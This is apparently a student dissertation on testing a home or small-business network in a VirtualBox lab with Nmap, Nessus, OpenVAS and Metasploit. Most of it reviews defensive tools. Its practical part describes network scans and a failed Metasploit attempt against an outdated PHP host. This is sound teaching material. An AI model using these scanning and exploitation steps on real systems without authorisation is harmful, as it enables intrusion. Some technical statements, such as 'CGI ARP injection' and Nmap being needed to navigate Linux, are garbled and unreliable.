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[bookmark: _Toc196824273]Abstract
In this project, I explored how different cybersecurity tools can be used to identify and fix vulnerabilities in a network environment. The main focus was on penetration testing and vulnerability scanners, using tools like Nessus, OpenVAS, Metasploit, and Burp Suite to carry out a simulated test inside Oracle VirtualBox. These tools are commonly used in the industry, and I wanted to test their effectiveness in a controlled environment.
I took on an interpretivist approach to research since the main focus is how humans interact with the software. The goal wasn’t just to find vulnerabilities, but to understand the wider context—how an attacker might think and how these tools help us respond. This approach gave me a better understanding of the tools from a real-world angle, rather than just running scans and recording numbers.
The vulnerability scanners (Nessus and OpenVAS) were useful for automating large parts of the process. Nessus had powerful features but came with licensing costs and a bit of a learning curve. OpenVAS, being open-source, was more flexible and affordable but had limited support. Alongside these, I used Metasploit and Kali Linux to manually simulate attacks and test how well the systems held up. Burp Suite also came in handy for web app testing.
I set up a virtual network including Windows, Linux, and a vulnerable web server (BeeBox), then carried out both passive and active reconnaissance using tools like Nmap and Metasploit.
Later chapters cover the methods I followed (Chapter 3), how I planned and built the test environment (Chapter 4), and the results and evaluation of the tools based on what I found.
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[bookmark: _Toc196824274]Chapter 1 – Introduction
[bookmark: _Toc196824275]1.1 Introduction   
I would like to undertake this project as with the rise of new technologies being developed in recent years, there is a lack of understanding that can result in people being fearful of its potential. I would like to be able to alleviate some of this fear by trying to teach simple ways these technologies can be used to help keep individuals secure and also show them that there are positives to new technology and it can be easy to ensure safety online. 
Safety online is now more important than ever as there are new ways being constantly developed to breach systems, therefore it is important to ensure users how simple it can be to take steps to keep themselves safe. There is a gap for this in research as it describes to people what the technologies are and what their potential is. Still, it does not detail effective countermeasures and how technologies can also be used to great benefit even at an entry level for non-specialist individuals. 
This project aims to highlight the importance of integrating new and upcoming technologies into preexisting technologies and networks. Its focus is on researching and applying various tools and methods to a network environment to study the benefits of security they can offer but also analyse the tools for any vulnerabilities and how they can synergise with other tools/methods.
At the end of this project, I would like to have achieved through research into methods and technologies used in a modern defence setting for networks and detail where and how they should be used in a small network such as a home or small business use application. 
[bookmark: _Toc196824276]1.2. Background to the Proposed Research 
Looking through previously conducted research AI is an upcoming technology in the networking sector although it is not yet fully implemented it does still have its uses however [1] found that most of them are too intricate and erratic for human cognition. It is stated that this lack of interpretation hinders the commercial success of AI-based solutions in practical practice they also state to work around this challenge. AI researchers are exploring more explainable AI techniques which they have labelled as (XAI) these models are more interpretable, manageable, and trustworthy. Although these AI have their uses these findings may prove challenging if believed to be true if the AI is not interpretable my participants will struggle with the experiment as they would not understand the AI. 
Software-defined networking represents a huge networking architecture that combines management and programmability. [2] Finds that recently the research community has benefited greatly from advancements in the AI field to provide learning abilities and better decision-making and development in SDN. This would be excellent for my experiment if this is to be believed this means that the AI may be able to learn how the network is structured and provide suggestions on how to enhance the security of the network. 
Based on these two findings alone I believe there is a gap in research for my project although [1] talks about developing more interpretable AI it leaves out how that AI will be used and taught to its users or the general public which is what my project aims to achieve and based on [2,3] finding it could potentially be a very powerful tool to use when using it in a networking environment. 
[5,6] Finds that AI programs generally work by analysing massive amounts of data generated by network traffic, and host processes and users to detect suspicious activities using algorithms however due to the huge data processing causes slow training and testing processes which can result in low detection rates. These findings prove although AI is a useful tool it is yet far from perfect and still requires human interaction however as it can still assist in these processes it is still a valid tool to use in a networking environment which I why even a general-purpose AI can be used to enhance security even if it's to a small degree I aim to test these capabilities and apply them to the network environment and use them to assist in the security enhancement to educate users on the potential they have and that is where I think my research will fit perfectly in the gaps. 
 
[bookmark: _Toc196824277]1.3. Research Problem statement  
My project aims to tackle the fear of developing technologies by using penetration testing tools to enhance the security of a small network. This should be achievable by individuals who have no experience in a security field as this project is intended for general public use. The project should mirror a small home network to simulate the intended environment as previously stated I intend to achieve this by highlighting some tools and methods used in network security in industry standard but with an emphasis on how easily it can be applied to a home/small business. 
 
[bookmark: _Toc196824278]1.4. Research Aim & Objectives 
[bookmark: _Toc196824279]1.4.1 Aim 
The aim of the project is to research and implement methodologies and tools into a network to ensure its security in a home/small business setting. 
 
[bookmark: _Toc196824280]1.4.2 Objectives 
· Develop/simulate a pre-existing network to conduct penetration testing within said network.
· Research capabilities of both general and specialist use applications 
· Apply penetration testing tools to conduct reconnaissance of my structure network 
· Use any found vulnerabilities to attempt to penetrate the network and evaluate the effectiveness of defensive tools
· Correct vulnerabilities using a range of methods and tools
· Write up and record findings and evaluate the importance of defensive tools to keep system secure
[bookmark: _Toc196824281]1.7 Materials   
[bookmark: _Toc196824282]1.7.1 Details of Research Data:  
I will be gathering my research data from journals and articles in the area of AI software and their applications, I will use this research to further my own understanding before conducting the experiment. I will be under obligation to reference and cite these sources as I would need to credit the material as it is not research I would just be basing my research off of said sources. 
[bookmark: _Toc196824283]1.7.2 Sources 
-UWTSD library 
-Google Scholar 
I will be using these two as my sources as they both provide a vast library of research journals and articles related to my topic of study and will be the best place to find said sources. 
 
[bookmark: _Toc196824284]1.7.3 Hardware: 
Throughout the course of this study, I will be needing access to specific hardware/software this section will list and describe the resources I will be needing and why and how they are going to be used 
Necessary hardware: 
· Desktop PC’s 
· Cisco routers 
· Cisco switches 
I use the term “hardware” lightly here as due to scheduling and lab availability I may not always be able to access hardware to complete my project within the marked time frame so 

[bookmark: _Toc196824285]1.7.4 Software: 
· Cisco packet tracer 
I would like to use packet tracer as a structuring tool so I can get a visual representation of my network as another tool I plan on using 'oracle' does not provide this I think having a visual representation of my network topology it will make completing the project easier as I can see what link are necessary between devices and also keep track of IP addresses etc by using notes on the devices. 
 
· Wireshark 
I think Wireshark is a necessity as I will need to use it to trace where packets are being delivered and what protocols the devices are using to send the packets carrying information as some protocols can be vulnerable to interceptions Wireshark can help me identify these weaknesses and mitigate them. 
 
· Oracle VM 
 
Oracle is going to be the primary tool I use throughout the course of the practical application of this study it is what I will be using to 'host' the proposed network topology as previously stated I may not always have access to real-time hardware so oracle provides a nice solution to that problem by allowing me to use virtual machines to create the network so I have constant access to it and can complete the study by the given deadline. 
 
· Nmap 
I have included Nmap here just as a precautionary tool in case I use any Linux machines within my network as I will need Nmap to navigate the machine as unlike Windows everything is achieved through command lines which is what Nmap is used for. 
 
·  Nessus/OpenVAS 
 
I have included these two programs as I believe that they will provide great benefits to my project both of these tools have the capability to scan networks for vulnerabilities and then provides a detailed report informing me of what is secure and what is not this is beneficial because it is a simple way to diagnose weaknesses within my network and it also informs me of the severity of the breach itself and also recommends methods to fix the weakness. 
 
            






[bookmark: _Toc196824286][image: Picture 1, Picture]1.8 Project Plan 
[bookmark: _Toc196824287]Chapter 2 – Research & Literature Review 
[bookmark: _Toc196824288]2. Literature review
This review of literature will study and compare various studies and articles related to my project and how they can be used to benefit the progress of my experiment. I'm going to do this by comparing the strengths and weaknesses of each tool and how they have been applied to the reference articles. I will also apply them to construct my own secure network. 
 
In the modern day there are an arsenal of tools and methodologies that can be used to secure or expose a network with the constant emergence of new technologies it is imperative that we study these tools and assess how older methods can be applied to keeping systems secure and in the case that they are unable To-do so it is important we either update these models to be secure or create new technologies to combat malicious users or software. 
[bookmark: _Toc196824289]2.1 Firewalls & Intrusion detection 
To begin I would like to talk about the simplest technologies and work towards more modern and complex tools. Firewalls and anti-virus software are some of the simplest security tools you can use when trying to keep a system secure although a very basic technologies they can be very powerful if applied correctly. [7] States that firewalls serve as a fundamental defence mechanism in network security. They act as barriers between internal and external networks filtering traffic between untrusted external sources such as the Internet. However as previously stated technology is always evolving and we have now reached a new stage of firewalls commonly referred to as next-generation firewalls of (NGFW'S) this new generation of firewalls has had some significant upgrades such as being able to mitigate sophisticated attacks as NGFW'S have integrated features such as application awareness, deep packet inspection, and intrusion detection capabilities. 
These new features of NGFW's are a significant improvement from their predecessor as they provide a system with a simple secure solution that can be easily applied to any device. Alongside firewalls, intrusion detection systems are also a crucial part of device security the purpose of an IDS is to detect behavior indicative of a malicious attack. Once an attack has been identified measures can then be taken to prevent or mitigate any damage to the system this process was separate from legacy firewalls but now with the new improvements it provides the added benefits of IDS technology integrated with the firewall software.[8] Talks about the use of IDS technology its types and applications they state that there are two main types of IDS the first being network-based commonly referred to as network-based intrusion detection systems or (NIDS), NIDS monitors traffic in real-time as it travels through the network analysing packets for suspicious data or behaviour this type of IDS operates on the network layer meaning it can operate across an entire topology and it not restricted to certain devices this is an important feature as if one host of nodes is compromised and the IDS picks it up it can take action to isolate the infected nodes from the rest of the network.[8,11] 
The next type of IDS is host-based detection system or (HIDS), unlike the previous type of IDS HIDS operates on individual hosts and endpoints monitoring for any activity these can be devices such as workstations or servers. It actively analyses system logs, file integrity, and all user activity to help it identify any potential unauthorised access attempts, privilege escalations, or suspicious behaviour. HIDS is particularly useful and mostly used for detecting insider threats or malware infections that may bypass the network security.[8]
Paired together both of these systems would be a powerful tool to have in your arsenal however it is unclear whether or not NGFW'S have access to both models of IDS seeming that they mainly operate at the host level we can assume that they only operate with the HIDS model therefore we would still need to use an external IDS in tandem with a NGFW. [8, 11] 
[bookmark: _Toc196824290]2.2 Encryption 
Encryption is a cornerstone of cybersecurity, Its purpose it to protect data confidentiality by converting information into a coded format that is unreadable without the appropriate decryption key. 
There are two primary types of encryptions symmetric and asymmetric. Symmetric encryption uses the same key to encrypt and decrypt information this makes it useful to use when dealing with large volumes of information however it requires secure key distribution. Asymmetric encryption uses two different keys to encrypt and decrypt data this provides increased security at the cost of computational complexity. These two encryption methods are imperative to keeping data secure and by using these methods it ensures that even if the data is intercepted by a malicious user the information is kept safe as you would need the correct decryption key. 
Encryption is a critical method for protecting data confidentiality, particularly in transit and at rest. Symmetric encryption algorithms, such as AES (Advanced Encryption Standard), and asymmetric encryption, like RSA, are widely used in securing communications [7]. According to Vaidya et al. [8], AES is considered one of the most secure encryption methods and is commonly used in VPNs and secure file storage solutions. However, the computational overhead of encryption and decryption processes can impact performance, especially in resource-constrained environments.  
  
End-to-end encryption (E2EE) is another method gaining attention, particularly in messaging applications [9]. E2EE ensures that only the intended recipient can decrypt the message, preventing intermediaries from accessing the data. Recent research by [9] found that E2EE offers a robust defence against man-in-the-middle (MITM) attacks and data breaches, but its implementation can be complex, requiring careful management of encryption keys. 
 
[bookmark: _Toc196824291]2.3 Vulnerability scanners 
Vulnerability scanners such as Nessus and OpenVAS are used to identify security weaknesses in systems and applications. These tools are extremely beneficial to make use of within a network environment as they perform automated assessments, scan the system for known vulnerabilities, outdated software, and misconfigurations. While these tools are highly effective in routine security audits these scanners are limited in their ability to identify new vulnerabilities such as Zero-day attacks. Additionally, they heavily rely on databases of known threats in turn means they also cannot detect novel attack vectors. 
While both Nessus and OpenVAS share the common goal of identifying vulnerabilities they have one major difference in licensing features, support, and integration. This means organizations will often choose between one of them based on factors such as budget, requirements, etc. 
Nessus 
Nessus Is widely recognised as a comprehensive vulnerability scanner developed by Tenable. It is one of the leading and most popular commercial vulnerability assessment tools available for public use. Nessus is trusted and widely used by organizations all over the world for its comprehensive abilities. 
 

Strengths: 
· Vulnerability detection: Nessus is a well-known and widely used tool in the industry for its extensive vulnerability detection capabilities. It boasts a large continuously updated database of various plugins, which allow the software to identify a massive range of vulnerabilities across multiple systems, applications, and additional platforms. 
· Reporting and analysis: Nessus provides detailed and customisable reports that can also offer actionable insights into the vulnerabilities it has identified within a system. These reports can assist security professionals in prioritising and tending to threats efficiently. 
· Integration: Nessus offers integration across multiple third-party security tools and platforms which enhance its versatility to fit into existing systems.[7] 
 
Limitations: 
· Cost: Nessus is a commercial tool with licencing fees, which can be a significant factor for organisations with budget concerns. 
· Resource intensive: When performing larger scans Nessus can use a considerable amount of system resources, this in turn will impact the performance of the scanned environment. 
· User complexity: While Nessus offers a wide range of features, its functionality can make it complex for users to configure and use, especially in the case of less experienced users.[7] 
OpenVAS 
OpenVAS (Open vulnerability assessment systems) is another widely used vulnerability scanner however unlike Nessus this software is opensource. Due to OpenVAS being on open-source solution it offers organisations the ability to perform vulnerability assessments without paying high licencing fees making in an affordable choice. Due to the nature of OpenVAS being open source it makes it a desirable option for research and practical usage. 
Strengths: 
· Open source: The open-source model of OpenVAS makes it an attractive choice for organisations with small budgets, however still enabling them access to vulnerability scanning without huge licensing costs like software like Nessus. 
· Scalability: OpenVAS is designed to cater to various network sizes making it suitable for all types of environments. This scalability also enhances the flexibility and adaptability of the program. 
· User interface: OpenVAS offers a user-friendly UI that simplifies its scan configurations, interpretations, and report generation making it a good choice for less experienced users over a higher-complexity program such as Nessus. 
Limitations: 
· Integration challenges: While OpenVAS does support integration with other tools, the range and depth of the integrations will be more limited compared to other commercial alternatives. 
· Support and documentation: Although the community contributes to the support of the software and also the documentation, official support for the program may not match the level of commercial solutions. 
· False positives: Like any vulnerability scanner the tools may generate false positives meaning that the reports would need manual verifications which diverts time and resources. 
On the other hand, penetration testing (pen testing) tools, such as Metasploit and Kali Linux, are used to simulate attacks and test the effectiveness of security measures [11]. Pen testing allows security professionals to identify vulnerabilities by exploiting them in a controlled manner.[11], while pen testing is invaluable for understanding real-world attack techniques, it requires skilled professionals and is resource intensive. Automation tools, such as Burp Suite for web applications, have made penetration testing more accessible, but their effectiveness depends heavily on the tester's expertise. 
 
[bookmark: _Toc196824292]2.4 Ai and machine learning 
Artificial Intelligence (AI) and Machine Learning (ML) are increasingly being integrated into cybersecurity tools to enhance detection and response capabilities. AI-based Intrusion Detection Systems (IDS) have gained attention for their ability to detect advanced persistent threats (APTs) and zero-day attacks by learning from large datasets of network traffic [12,13]. ML algorithms can identify patterns and anomalies in network traffic that are indicative of potential attacks [14]. However, as noted by [6], AI and ML models are still evolving and face challenges such as high computational costs and vulnerability to adversarial attacks, where attackers manipulate data to deceive the models.  
  
The integration of Explainable AI (XAI) in cybersecurity tools is being explored to address the interpretability issue [12]. XAI models aim to make AI decision-making processes more transparent and understandable to human users, enabling cybersecurity professionals to trust the AI's findings and take appropriate action. This is especially important in network security, where decisions need to be made rapidly and accurately.    
 
[bookmark: _Toc196824293]2.5 Endpoint Security 
Endpoint security is an important category of cybersecurity that secures endpoints or entry points from being exploited from malicious users or attacks. An endpoint can be any device on a network that communicates with the networks it is connected to; these devices can be anything such as laptops, tablets, servers, etc. Within an organisation there are a multitude of endpoints that an attacker can take advantage of to gain access to a system. An attacker can use multiple techniques such as ransomware, exploitation of vulnerabilities, phishing, etc. However, there are multiple mitigations that can be used to secure these endpoints. Antivirus software still remains a foundational tool for detecting and removing malicious software within a system, however, recent studies highlight the growing importance of endpoint detection and response (EDR) systems. [15] EDR tools provide continuous monitoring and real-time analysis of endpoint activities to detect suspicious behaviours, such as unauthorized access attempts or the execution of malicious files. According to a study by Zulkarnaen et al. [16], while traditional antivirus software is effective against known malware, EDR systems offer superior protection against new threats and advanced attack techniques like ransomware. 

[bookmark: _Toc196824294]2.6 Security information and event management (SIEM) 
SIEM systems, such as Splunk and IBM QRadar, play a crucial role in aggregating and analysing log data from multiple sources to provide a comprehensive view of an organization's security posture [17]. SIEM systems collect data from firewalls, intrusion detection systems, and other security tools, enabling security teams to identify potential threats, investigate incidents, and respond more effectively. However, as observed by [18], the challenge with SIEM systems lies in managing the vast amount of data they generate and reducing false positives. To address this, modern SIEM solutions are incorporating AI and ML to improve threat detection accuracy and automate responses. 
SIEM is a tool that plays a big role in monitoring and reacting to events happening across a network. It collects logs and data from all the different security tools in use and puts that information together to spot threats that might go unnoticed by individual systems. For example, if there's a traffic flow from a certain IP address, a firewall on its own might not pick it up as dangerous—especially if that IP hasn’t been listed on any global threat exchange databases. But SIEM can take that traffic data and compare it with other logs, like ones from Active Directory, and notice that the same IP was used in a brute-force attack trying to crack multiple user accounts.[22] When SIEM sees that kind of activity, it can respond straight away by sending a command to the firewall through an API to block any connections from that IP address.
The main benefit of using SIEM is that it allows this kind of response to happen automatically. Instead of needing someone to be monitoring everything 24/7, SIEM handles that load, reacting to threats in real time using the context it builds from the network as a whole. It’s constantly learning from how systems interact, and that means it can take smarter, more accurate actions to protect against attacks. It’s also one of the best ways to detect zero-day attacks because SIEM doesn’t rely only on known threat signatures. Instead, it uses behaviour and event correlation to pick up on suspicious activity, even if it hasn’t been seen before.[22]

[bookmark: _Toc196824295]Chapter 3 – Development Methodology
[bookmark: _Toc196824296]3. Methodology 
[bookmark: _Toc196824297]3.1. Research philosophy 
For this project I will be undertaking the interpretivism research philosophy as I believe it fits most with my project as I am testing human-software interaction which fits the model perfectly I believe that following this philosophy will serve me the best throughout the course of my project. 
Interpretivism, when applied to a penetration test, is all about understanding the bigger picture behind the security flaws found in a system, rather than just focusing on numbers or technical details. It looks at the experience of the penetration tester and how they interpret the system’s responses during an attack. Instead of just identifying weaknesses, it’s about understanding the tactics and motivations of potential attackers, and the real-world context in which these vulnerabilities exist. 
[bookmark: _Toc196824298]3.2. Research methods 
For this project I will be using qualitative sources for my data collection I believe this fits most in line with the topic of my project as I will be using specialist equipment there are reliable sources that provide guides and manuals on how to operate and manipulate said machinery whether that be the manufacturer of the equipment itself or professionals in the fields of the equipment I believe by using information from these sources will provide me with the most useful and accurate information I will be able to find. And due to the project not using a how lot of numerical data a qualitative approach seems more fitting for the project.

 
[bookmark: _Toc196824299]3.3. Research Strategy  
My research strategy for this project is going to be experimental as I am testing the relationship between humans and the use of artificial intelligence. 
This means that I will be taking different tools and applying them to my environment to test the use applications and effectiveness of the tools within the simulated environment.
[bookmark: _Toc196824300]3.4. Hypothesis: 
"The implementation of penetration testing tools significantly enhances the efficiency and accuracy of identifying vulnerabilities in enterprise-level networks compared to traditional manual penetration testing methods." 
This hypothesis aims to explore whether automated tools can outperform manual penetration testing in terms of speed and precision when assessing the security posture of large-scale networks. The study would compare both methods in various scenarios to measure the difference in effectiveness and resource usage. 
[bookmark: _Toc196824301]3.5. Analysis and Evaluation Methods 
In a penetration test, analysis and evaluation methods play a crucial role in interpreting the findings and determining their significance. After identifying vulnerabilities, testers analyse how these weaknesses could be exploited in real-world scenarios, considering factors like the skill level of potential attackers and the system's overall security posture.  
Evaluation methods, such as risk assessments or threat modeling, are then used to prioritize vulnerabilities based on their potential impact and likelihood of being exploited. This helps organizations focus on addressing the most critical issues first. By combining detailed analysis with thoughtful evaluation, penetration testers provide actionable recommendations that go beyond simply fixing technical flaws—they help organizations understand the broader security risks and make informed decisions to strengthen their defences. 





[bookmark: _Toc196824302]Chapter 4 – Design & Development
[bookmark: _Toc196824303]4.1 Scope & Planning 
As part of the penetrations testing process, it is crucial that you plan out what you intend to do in the network and also define the scope of the test Aswell so you have a clear idea of what you are testing for and so you can keep on track and also monitor progress in this first step I am going to define 5 point of interests in the planning and scope of this development stage:- 
 
[bookmark: _Toc196824304]4.1.1IP test boundaries: Ip ranges, subnets, devices 
IP test range- 192.168.0.1 - 192.168.0.255 
Subnets: - 255.255.255.0 
4 devices: - 
1. Windows server 2022 with admin 
2. Windows 10 client 
3. Kali Linux client (Pen-testing) 
4. Web server client (Bee Box) 
 
[bookmark: _Toc196824305]4.1.2. Authorization from stakeholders 
This would be an important step in the process if I was conducting a test on a company's servers etc as unauthorized testing is Illegal however for the purpose of this paper I am conducting the testing in a simulated environment through the use of Oracle virtual box, so permission is not needed. 
[bookmark: _Toc196824306]4.1.3 List crucial systems to test 
-User permissions 
-Firewalls 
-Domain Search 
-Port access 
-Insecure protocols 
-Directory & file permissions 
-Password reuse 
-Security misconfigurations 
[bookmark: _Toc196824307]4.1.4Establish a communication plan for emergencies 
Since this is a controlled experiment using virtual machines it is highly unlikely an emergency is going to occur however in the case something does go wrong I am going to save a backup of my progress on the project this is going to be done by making use of the "snapshot" feature on Oracle as this saves the current state of the virtual machine and if anything were to happen I can just reload the save and continue to work from there. 
[bookmark: _Toc196824308]4.1.5. Defining my goals
-Discover port vulnerabilities 
-User profile misconfigurations (Passwords, Privileges, etc). 
-Out of date services/ OS systems 
 
[bookmark: _Toc196824309]4.2 Reconnaissance 
The next step in the process of checking the security of my system is conducting reconnaissance on the network I will be doing this in two stages by using Passive & Active reconnaissance both of these methods I will be conducting from a Linux machine so I can make use of tools link Nmap, Metasploit, etc when it comes to exploiting the vulnerabilities found within the system. 
 
 


[bookmark: _Toc196824310]4.2.1 Route IP Discovery
[image: Picture]
The route command returns the IP addresses of the devices on the network this command would first be used when trying to conduct a test into the system, so you know what subnets the devices are on and also find their corresponding IP addresses.
[bookmark: _Toc196824311]4.2.2 Active Arp Request 
[image: Picture]This command sends out an ARP request to only active devices in the network i used this command this way because if this were a real-time test it would make it harder for detection software to flag the request as it is only returning active devices within the rand of the network so by using this method it helps stay under the radar and also only provides me with relevant data of the network. 

[bookmark: _Toc196824312]4.2.3 Global ARP 
[image: Picture]Following the ARP request I then used the following command (Nmap –iL iplist.txt) what this does is return active ports within the network and tell me whether or not they are open closed filtered etc. This information is helpful as it allows me to probe for access points and potential vulnerabilities I can exploit to make this easier I create a list of the IP addresses from the previous command by using (nano iplist.txt) and entered the IP addresses into the list so whenever I need to run a command using all of the Ip addresses it makes things easier as I can just enter the list name into the command and run it and it would return the same results as this is a local network the command here is in layer 2. 
 








[bookmark: _Toc196824313]4.2.4 Port probing
[image: Picture]Following the ARP request this is more or less the same command but it can be used if you are looking for more specific ports as you can see it returns the ports the state it’s in and what service its running this is useful to look for specific vulnerabilities such as SSH from this command I can see there are two port 80’s open and also specifically on 192.168.0.151 ports 21,22 and 80 are open so that would be a prime target as the majority of other ports on the other devices are closed so I would not be able to access them. 
[bookmark: _Toc196824314]4.2.5 Filtered port scanning
[image: Picture]This is a useful scan of the entire network which displays specifically filtered ports, ports being in a filtered state means that data traveling through is controlled however the port is still accessible so it has the possibility of opening an avenue of attack from the scan we can see it returns some data on the filtered ports such as what device they are on however there are no filtered ports available on these devices but that is ok as from our previous scans we can see that we have a number of available open ports which will allow me to transmit data through. 
[bookmark: _Toc196824315]4.2.6 UDP port scanning
[image: Picture]This scan displays UDP ports open on the network it is always a good idea to scan both TCP and UDP ports on a network as it will give you a broader understanding of the network and potentially provide additional access points as we can see from the screenshot we have some open/filtered ports the filtered ports are not as helpful as the open ones however we can see that I would have access to services such as NetBIOS etc which would be catastrophic to the system. 
[bookmark: _Toc196824316]4.2.7 Operating system scanning
[image: Picture]This is an operating system scan it provides open ports and services but also the OS version that the device is running on this is especially useful when systems are running older operating versions as they are susceptible to more vulnerabilities as the firmware becomes older as things like firewalls and antivirus software built into the device will be less effective as malware becomes more advanced and also people finding exploits and vulnerabilities within the firmware itself. Due to this fact, this information is very valuable as it is common information available on the internet and it only takes a quick Google search to find and learn how to conduct these exploits. 
[bookmark: _Toc196824317]4.2.8 Service Scanning
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[bookmark: _Toc196824318]4.3 Exploiting vulnerabilities
Following on from our completed reconnaissance stage in the penetration test, the next step is the exploitation of discovered vulnerabilities. This stage involves leveraging the vulnerabilities we have identified during the information gathering to gain unauthorized access to any system, applications, or networks. Unlike the reconnaissance stage which focuses on mapping out our target and its environment, the exploitation demonstrates the practical implementation and impact of the weakness by simulation real-time attack scenarios. Penetration testers employ a multitude of techniques and strategies (e.g. exploiting weak passwords, unpatched software, misconfigurations, and injection flaws), they can use these to assess the extent of potential damage. The goal may not always be to cause harm to a system but can be to provide proof of concept that highlights the severity of these found weaknesses, testers can demonstrate how an attacker might gain unlawful access to sensitive data or escalate their own privileges, thereby informing the development of effective mitigation strategies. This section aims to prove this statement by attempting to exploit the found vulnerabilities within my simulated network and gain access to information or escalate my privileges to gain full access also demonstrates how simple these vulnerabilities can be.
[bookmark: _Toc196824319]4.3.1 HTTP port vulnerability check.
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The commands in the screenshot depict the use of Metasploit to attempt to exploit the HTTP port on the 192.168.0.30 device by using Metasploit we can set our target by using the Rhost commands and then use show options to verify it has been applied first we use an scanner to check for HTTP versions to verify what the HTTPS version the machine is using from our results we can see it's using PHP 5.2.4-2 ubuntu5 moving on from gathering the version we can attempt to use a CGI ARP injection again we set the rhosts to our target system and run the exploit command this would have allowed me access however something went wrong through it returned as it had been exploited no session was created from the outcome so I could not gather the PhP information from the exploit.










[bookmark: _Toc196824320]Chapter 5 – Evaluation
Based on the data and evidence gathered throughout the course of my project, I can confidently conclude that it is absolutely essential to use multiple cybersecurity tools in conjunction with one another in order to effectively secure a network. Without the deployment of such tools, safeguarding sensitive data becomes significantly more difficult, as malicious users can easily exploit unprotected systems. Although attackers are still capable of collecting information through various reconnaissance methods, the implementation of strong defensive tools can play a crucial role in halting their progress and preventing them from gaining access to critical systems or sensitive data through any vulnerabilities they uncover.
The findings from my project directly support the theories and arguments presented in my literature review. Specifically, I found that combining and synergizing various cybersecurity tools creates a more robust and secure framework for network functionality. This layered defence approach not only strengthens the overall system architecture but also acts as a deterrent to potential malicious activity by limiting exploitable entry points.
I partially met my aims and objectives in this project. I successfully used reconnaissance tools to identify and map out the target system, effectively gathering valuable data on the network. However, I encountered challenges when attempting to exploit the system due to issues with the simulated network environment. These complications prevented me from fully executing that part of the project, although the results I was able to gather still aligned with the expectations outlined in my original hypothesis.
If I were to undertake this project again, I would focus on improving time management and ensuring that the simulated network is built on a more stable and functional infrastructure. Doing so would allow me to fully execute all intended phases of the project and avoid the technical setbacks that limited my ability to complete the exploitation stage this time around.
[bookmark: _Toc196824321]Chapter 6- Conclusions & Recommendations
In this project, I focused on addressing the fear and misunderstanding around new technologies—especially in cybersecurity—by showing how simple tools and methods can be used to keep a small network secure. A lot of existing research talks about what technologies like AI can do, but not how everyday users can actually use them to protect their own systems. That’s the gap I wanted to explore.
To do this, I created a simulated network that mirrors a typical home or small business environment. I then applied real industry-standard tools—like Nmap, Metasploit, Nessus/OpenVAS, Wireshark, and Cisco Packet Tracer—to conduct penetration testing, vulnerability scanning, and security assessments. My goal wasn’t just to find and exploit vulnerabilities but also to show how easy it can be for regular users to understand and improve their network security.
A big part of the project was focused on reconnaissance. I started by identifying active devices and IPs on the network using ARP requests and routing commands. I made an IP list using nano iplist.txt so I could automate port scanning with nmap -iL iplist.txt. This made it easier to check for open, closed, and filtered ports. From there, I did more targeted scans—like checking for UDP vulnerabilities, filtered ports, and specific services running on different machines.
Once I had a good understanding of the network, I moved into the exploitation phase. I used Metasploit to attempt attacks on specific vulnerabilities—like outdated HTTP services on the network. One example was an attempt to exploit a CGI ARP injection on a target using an old version of PHP. Although I didn’t get a full session from the exploit, the process still demonstrated how weak configurations could be exploited and how attackers might gain unauthorized access.
The development phase includes practical penetration testing techniques applied to a virtual environment using Linux-based tools:
· IP Discovery & Passive Reconnaissance: Tools like Nmap and ARP commands are used to map active devices and gather IP addresses.
· Global ARP & Port Probing: A compiled IP list is used to scan network ports, identifying open, closed, and filtered ports—critical for spotting vulnerable entry points.
· Filtered Port & UDP Scanning: Both TCP and UDP scans offer a broader network picture, revealing access points such as open NetBIOS ports that could compromise systems.
· OS & Service Scanning: Determines the operating system and running services of each device. Older OS versions are flagged as high-risk due to known exploits and limited defence capabilities.
· Service Vulnerability Scanning: Pinpoints potential weak spots in system services that may be leveraged in future exploitation attempts.
Following reconnaissance, the exploitation phase involves using Metasploit to simulate real-world attacks. The project demonstrates an attempted exploit of an HTTP vulnerability on a target device running outdated PHP (v5.2.4 on Ubuntu). Although the CGI ARP injection tool reported successful execution, the session failed to initiate, revealing practical limitations and challenges in exploitation.
This hands-on methodology aligns with an interpretivist research philosophy, using qualitative methods and an experimental strategy to explore the human-software interaction aspect of cybersecurity. By showing both the strengths and limitations of automated tools, the study provides educational value and practical insights into defending networks effectively, even with entry-level knowledge.

Practical Contributions and Methodology
The design and development phase involves the creation of a simulated network that mirrors a typical small business/home setup. The following practical contributions directly supported the research objectives:
· Objective: Develop/simulate a network for testing
· Built a virtual network topology using Oracle VirtualBox and Cisco Packet Tracer to simulate a secure testbed environment.
· Objective: Research general and specialist tools
· Studied a wide range of tools including firewalls, IDS, Nessus, OpenVAS, and Metasploit, comparing strengths and limitations in real-world and academic settings.
· Objective: Conduct reconnaissance
· Used Nmap, ARP requests, and port scanning to identify active devices, open ports, and potential vulnerabilities.
· Performed global ARP scans with custom IP lists and port probing to detect critical services and assess risks.
· Objective: Exploit vulnerabilities to evaluate defences
· Used Metasploit to attempt an exploit against an HTTP service running outdated PHP. Although the attack simulation didn't open a session, it demonstrated practical exploitation attempts and highlighted challenges attackers may face—validating the testing approach.
· Objective: Correct vulnerabilities and evaluate tools
· The process of identifying open/filtered/UDP ports, outdated OS versions, and specific services allowed for targeted recommendations and simulated patches or mitigations, reinforcing the practical use of these tools for network hardening.
· Objective: Record and evaluate findings
· Documented each stage of reconnaissance and exploitation with screenshots, commands, and analysis, linking technical findings to broader cybersecurity goals.
Outcomes and Impact
These contributions successfully demonstrate how common penetration testing tools can be applied in a home or small business setting by non-experts, meeting the project’s overall aim of making network security more accessible and understandable. The integration of manual and automated testing techniques, alongside a focus on real-time application, provides a practical guide for general users, reinforcing the project’s educational value.
Additionally, this project fills an identified research gap by not only describing emerging security technologies but also actively testing and demonstrating their usability, effectiveness, and limitations in a controlled, replicable environment. It contributes to ongoing discussions about AI in cybersecurity, particularly around the importance of usability and interpretability.
Review & Suggestions for further work
There are aspects of the project that I was forced out of looking into unfortunately something went wrong with my simulated network and I struggled to use exploitation methods to gain access to the systems if I were to redo the project I would focus on building and using a better model with detailed documentation to keep track of configurations made etc, this may also be something I could improve on in the future coming back to the project after some time and refining it to develop my skills further.
[bookmark: _Toc196824322]Chapter 7 - Reflection
The honest truth is there is a lot I could have done better and managed more efficiently, during the process of this project I struggled a lot with the learning and the motivation to really get engrossed in the work although I'm proud of what I have achieved I think it could have been a lot better Frankly my practical elements are not what i wanted them to be and I think it's a reflection of mismanagement with my time and learning, this project has taught me that things do not come easy it takes a long time to learn a skillset necessary to undertake a project such of this effectively and efficiently and I won't be able to fully achieve that potential without putting in 100%.
